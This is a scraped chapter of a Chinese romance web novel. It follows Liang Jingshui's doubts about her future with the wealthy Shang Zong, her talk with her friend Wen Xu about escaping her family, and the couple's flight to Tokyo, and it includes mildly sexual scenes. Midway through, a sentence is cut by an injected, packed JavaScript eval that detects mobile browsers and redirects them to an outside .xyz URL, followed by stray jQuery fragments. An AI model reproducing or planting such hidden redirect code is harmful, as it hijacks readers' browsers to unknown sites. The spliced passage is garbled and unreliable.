41、旧幻想29

作品:《维港森林

    梁惊水当然动摇。


    他从不倚仗年长的阅历自居,而是为她提供滋养、引导她从涓涓细流成长为奔涌江海。


    也是第一个让她感到如此悸动的人。


    梁惊水转动手腕,水晶里的钻砂轻盈流转。无聊之余,倒是个可以消遣的小玩意儿,她很轻地笑了声。


    温煦半蹲下来端详,纳闷:"郭璟佑跟我提过,商宗好像有未婚妻了,是吧?"


    这话梁惊水听过不少次,但她不觉得会在她和商宗之间掀起波澜。


    一方面,商宗因商琛的事,对家族联姻恨之入骨;另一方面,她对婚姻毫无憧憬,从未幻想过站在商宗身边的那个人会是自己。


    梁惊水曾在一本婚俗专著上读到,古埃及的信仰里,左手无名指上有一条静脉直接连通心脏,被称为“情人脉”。结完婚还可以再离,在她眼里,有些事物比这条脉络连接的爱更为珍稀。


    浅水湾的那些日子,商宗从未将工作上的事对她设防。书房里,他和公司的主心骨开着保密级会议,她坐在旁边玩种田游戏,各忙各的,互不干扰。


    男人的会议也并非全程严肃,就像学生时代的课堂,45分钟的内容总要挤出10分钟聊些有的没的。


    默认情儿不会介入商谈,屏幕另一端的人全然不知非议的对象就在电脑旁边。有回口无遮拦地问,商先生最近怎么迷那个大陆女人迷得不行,是活好还是懂分寸啊?


    商宗顿了顿,淡声回答:“因为爱吧。”


    对方听不出商宗话里的真假参半,只是笑得屏幕乱晃,打趣道:“爱可是最不保值的顶奢投资,反正我不会把长期资产,押在这么高风险的东西上。”


    梁惊水余光瞥了眼他的屏幕,提着的心稍稍放下。晃动的几排画面中,只有商宗唇弧浅淡,礼节性敷衍,毫无真实情感。


    那天会议结束,他一双灰眸沉寂如山峦,情真意切地凝望梁惊水,问她为什么。


    梁惊水茫然抬眸。


    下一秒,她的臀部被他捞到腿上,真丝睡衣的肩带滑落至背窝。他的嗓音低哑,熏着情:“为什么我如此迷恋你?若不是爱,又有什么比它更真?”


    事实证明,“活好”和“懂分寸”,完全可以形容情事上的商宗。


    他说,他想看看最让他迷恋的地方。


    梁惊水被折腾得不行,睡意袭来前硬是保持了一丝理智,打开电脑,发现三小时的游戏存档全没了。她提裤子翻脸,气鼓鼓地让商宗把她的田地恢复原样。


    那段时间梁惊水有种作为皇上身边大太监,顺便听朝廷政事的错觉。


    比如,今儿还在花天酒地的A老板,没几天就接手了B老板的红颜,一个月后又娶了C老板的女儿。而B老板现在的红颜,是C老板过继的旧人。


    她不清楚朝廷休憩时,群臣是否也会聊些八卦野史。


    起初,她觉得这些还不如自己存档里加了开放mod的NPC劲爆,后来才意识到,还是她眼界狭隘了。


    梁惊水忽然怀念起小卷毛董茉还在的日子,她的尺度更为含蓄,哒哒哒的鞋跟声经过中庭通路,她翘起眼睫,食指抵唇,让她帮她藏住阁楼的秘密。


    听说她与周祁的婚事黄了,两个人闹得很不愉快。


    这毫不出奇,梁惊水感觉得到,虽然周祁和董茉经济实力相近,但思想层次完全不在同一个频率上。分开,是既定事实。


    梁惊水的目光从戒指上移开。


    比婚姻更珍稀的,是无价的自由。自由无法量化,亦难被完全拥有。


    这一点,蒲州的那些年无人教会她。而来到商宗身边,她去留自由,从不遵循权威。


    温煦看在眼里,笑着叩叩她那重如铅石的行李箱:“瞧你这架势,是打定主意再也不回香港了。”


    梁惊水反手撑着床沿:“是啊,不值得回来了。”


    "那你还留在蒲州吗?”温煦坐下与她并排,认真问,“郭璟佑给我留了一笔钱,我打算去大城市重新开始,你这么聪明,总不能过得比我差吧。"


    梁惊水只能摇头说不知道。


    享受自由的时间太短,她没有足够的底气去说服舅舅。就算辗转去了广海或其他大城市,不过一周,还是会被逮回蒲州。


    梁有根明明是一介农民出身,却总能精准掌握她的行踪,连她在哪实习,去了哪个酒店都一清二楚。来到香港后稍稍消停些,但难保回去后,不会故态重现。


    她明白梁有根一家受了单忌不少恩惠。有时候她也在想,父亲是不是看中了她身上的某种特质,所以借梁有根一直拴着她,不让她离开。


    温煦定定看她几秒,说要不你别回去了,真的。


    梁惊水垂下眼:“我已经没有理由留在这了。”


    “你条件好,当模特绝对吃香。就算不想干这行,去金融圈闯闯,说不定还能混成个华尔街女精英。”


    温煦就像个行走的百科,全掌握梁惊水的过去。小到她储物柜里那一摞奖状和小红花,大到国际成就,说哪一样都能让她在香港过得不错。


    小时候,舅舅家墙上贴满了梁祖那寥寥无几的进步奖,梁惊水从国际部退学后,她的奖状全被收进了储物


    间。


    温煦知道后,直接把那一大摞奖状搬回自己家,贴满了一整面墙。


    当时还笑着说,没人管她,想怎么折腾就怎么折腾。况且这满墙全是英文的奖状,来个文盲亲戚,不知道的还真以为她在学校是个风云人物呢。


    想到这里,梁惊水嘴角勾起笑弧,但还是摇了摇头:“我快速走红,是因为商宗给了我一条捷径。我不想在香港的一切,都必须依附他才能维持。”


    温煦对此嗤之以鼻:“依附是靠别人施舍活着,而你缺的是机会和平台。再说,那些有钱人,哪一个不是靠上一代的积累才富起来的?女孩只能靠自己”,这话本身就是个伪命题,你需要的是一个踏


    板,让你有机会发光发热。"


    东方既白,那一夜,梁惊水彻夜未眠。


    她看着出租车司机将行李搬上后备箱,闭了闭眼,脑海中反复回荡着温煦的最后一句话:


    “怎么样?放开手脚试着逃一次吧。”


    ……


    高空中,窗外的云层触手可及,像是一片无垠的棉海。


    梁惊水咬着吸管,目光专注地盯着舱壁嵌入式屏幕播放的《鬼怪》第10集。


    男主金信逐渐意识到,他对女主池恩倬的感


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14886454|152053||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    情已经超越了保护者的身份。一方面,他想要让池恩倬过上普通女孩的生活;另一方面,他又希望她永远留在自己身边。


    一集结束后,她的心里空落落的,主要原因是新一集还得等到下周五才能播出。


    她侧过头,看见商宗目光飘远,指尖轻敲着满杯未动的汤力水,像是在反复回味刚刚的剧情。


    梁惊水抬手在他眼前晃了晃。


    商宗只简单说:“这剧寓意不好。”


    “才不是!这是我今年看过最精彩的韩剧,”她不服宝藏剧被随意打差评,撇嘴道,“下次不带你一起看了。”“只是觉得这部剧太写实了,”商宗笑一笑,轻捻住她无名指的戒指,“我不喜欢自己的心思被看穿。”梁惊水愣了片刻,意识到他指的是和男主角同样的心境。她垂下眼,盯着水晶框里流动的碎钻,不知道怎么接话。


    “喜欢这个款式吗?”


    “嗯,挺特别的。”


    舷窗被空乘轻轻合上,机舱内只剩他们两人,依偎着看最适合冬日的韩剧。即便屏幕上跳转成另一个新年档电影,那种“孤单又灿烂”之感依旧在心间徘徊。商宗的手探进她牛仔裤后袋,贴着她的耳侧,指腹在内里轻轻压了压,问她要不要补觉。梁惊水闷闷道:“你不能每次在我难过的时候,满脑子都想着坏事,不应景。”听出这姑娘情绪不对,商宗不再逗她,只是将她搂在怀里,挑了一部轻喜剧电影播放。没多久,怀里的身躯微微震动,被剧情逗得笑不止。


    飞往东京羽田机场全程四个半小时,降落时,舷窗外被冬日的日落余晖染上暖橙。这个季节的日落色格外鲜艳,富士山的剪影与白雪皑的的群峰交织,如同韩剧离不开车祸、失忆的桥段,眼前这画面天


    生适合一场日剧跑。


    舱门打开,周身的语言环境随之改变。入境柜台的工作人员在签证页上熟练盖章,用略带腔调的日式英语微笑说:"Wee to Japan."


    走出航站楼,梁惊水揽着商宗的小臂,兴奋地讨论刚才那部电影里的剧情。


    他单手插兜,耐心回应她的每一句,不时发表对某些片段的见解,话题在两人之间流转,没有一瞬落地冷场。


    其时一辆日本车缓缓停在街边,右侧车窗降下,驾驶位坐着一个梳油头的中年男人。


    中年男人的粤语腔调偏广式:“商先生,好巧啊,真没想到会在日本撞到您。”


    商宗牵紧身边正想后退的女孩的手,面不改色地与对方寒暄几句。


    关于他有未婚妻的消息早已传遍,男人的目光落在两人交握的手上,随即带着笑意开口:“商生真系有福气,呢位系甘棠小姐Y?早就听过大名,恭喜晒。”


    商宗微微侧头,看向身边: "呢个系我钟意慨人。"


    梁惊水没完全听懂中年男人的粤语,但商宗的这一句话却掷地有声,直抵她心底。


    想起那些清晨,光线从柔到亮洒满一室,商宗立于朝霞中,俯身哄她多睡会儿懒觉。她总是绕着他的领带打转,要他用粤语说情话,像是独属于她的清晨问候。


    而今天,这些熟悉的粤语音节终于拼凑出了一个答案——商宗是真的将她珍藏在心尖。有他在旁,她无需向任何人或事低头。